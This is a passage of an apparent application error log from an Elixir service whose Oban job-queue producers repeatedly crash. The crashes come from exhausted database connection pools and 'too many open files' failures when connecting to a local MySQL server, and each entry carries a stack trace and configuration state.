  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:22:54.239354Z], limit: 5, uuid: "cacb70c0-93c2-4251-a117-1c24b336f08f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:54.239359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.185354>, refresh_timer: #Reference<0.2525715032.1068498948.56763>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:22:54.239339Z], limit: 3, uuid: "310e8a02-3cf2-4e38-993f-b5239fb77278", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:54.239345Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34226>, refresh_timer: #Reference<0.2525715032.1068498948.56759>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:22:54.239339Z], limit: 50, uuid: "17f0ca6e-f74d-44c4-870d-bf94bec03498", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:54.239345Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.185353>, refresh_timer: #Reference<0.2525715032.1121189889.185330>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:22:54.240517Z], limit: 20, uuid: "1c8b827d-f9c1-4f38-86bd-06401b0f9513", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:54.240522Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56767>, refresh_timer: #Reference<0.2525715032.1099431938.56766>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:22:54.239594Z], limit: 5, uuid: "7d9ad3dd-2fc1-4a7f-b92e-b4e39af4edc8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:22:54.239600Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56768>, refresh_timer: #Reference<0.2525715032.1068498948.56772>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:08.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:09.297000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:10.214000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:15.775000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:15.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:16.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:17.715000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:23:06.239421Z], limit: 3, uuid: "2845dda5-13b3-4c6c-890c-accc784df0ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:06.239427Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34557>, refresh_timer: #Reference<0.2525715032.1099431938.56821>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:23:06.240033Z], limit: 5, uuid: "199666d1-1ce9-4180-9303-6ae543c9243a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:06.240039Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34556>, refresh_timer: #Reference<0.2525715032.1099431938.56852>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1064ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:23:06.240212Z], limit: 20, uuid: "fa0b1b7f-7d6e-458f-b039-b8e037ee6f2b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:06.240218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56877>, refresh_timer: #Reference<0.2525715032.1068498948.56876>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
